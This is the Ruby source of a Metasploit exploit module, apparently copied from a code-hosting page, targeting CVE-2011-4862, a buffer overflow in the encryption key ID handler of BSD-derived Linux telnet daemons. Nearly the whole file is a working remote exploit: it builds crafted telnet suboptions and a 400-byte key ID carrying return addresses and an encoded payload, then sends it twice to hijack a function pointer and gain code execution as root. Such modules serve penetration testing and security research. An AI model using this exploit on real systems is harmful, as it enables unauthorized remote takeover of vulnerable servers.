119 lines
3.3 KiB
Ruby
119 lines
3.3 KiB
Ruby
# -*- coding: binary -*-
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Telnet
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include Msf::Exploit::BruteTargets
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the encryption option handler of the
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Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
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use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
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Linux systems running telnetd.
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},
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'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2011-4862'],
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['OSVDB', '78020'],
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['BID', '51182'],
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['EDB', '18280']
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],
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'Privileged' => true,
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'Platform' => 'linux',
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'Payload' =>
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{
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'Space' => 200,
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'BadChars' => "\x00",
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 23 2011'))
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end
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def exploit_target(t)
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connect
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banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
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vprint_status(banner_sanitized)
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enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
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enc_keyid = "\xff\xfa\x26\x07"
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end_suboption = "\xff\xf0"
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penc = payload.encoded.gsub("\xff", "\xff\xff")
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key_id = Rex::Text.rand_text_alphanumeric(400)
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key_id[ 0, 2] = "\xeb\x76"
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key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
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key_id[76, 4] = [ t['Ret'] ].pack("V")
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# Some of these bytes can get mangled, jump over them
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key_id[80,40] = "\x41" * 40
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# Insert the real payload
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key_id[120, penc.length] = penc
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# Create the Key ID command
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sploit = enc_keyid + key_id + end_suboption
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# Initiate encryption
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sock.put(enc_init)
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# Wait for a successful response
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loop do
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data = sock.get_once(-1, 5) rescue nil
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if not data
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fail_with(Failure::Unknown, "This system does not support encryption")
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end
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break if data.index("\xff\xfa\x26\x02\x01")
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end
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# The first request smashes the pointer
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print_status("Sending first payload")
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sock.put(sploit)
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# Make sure the server replied to the first request
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data = sock.get_once(-1, 5)
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unless data
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print_status("Server did not respond to first payload")
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return
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end
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# Some delay between each request seems necessary in some cases
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::IO.select(nil, nil, nil, 0.5)
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# The second request results in the pointer being called
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print_status("Sending second payload...")
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sock.put(sploit)
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handler
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::IO.select(nil, nil, nil, 0.5)
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disconnect
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end
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end
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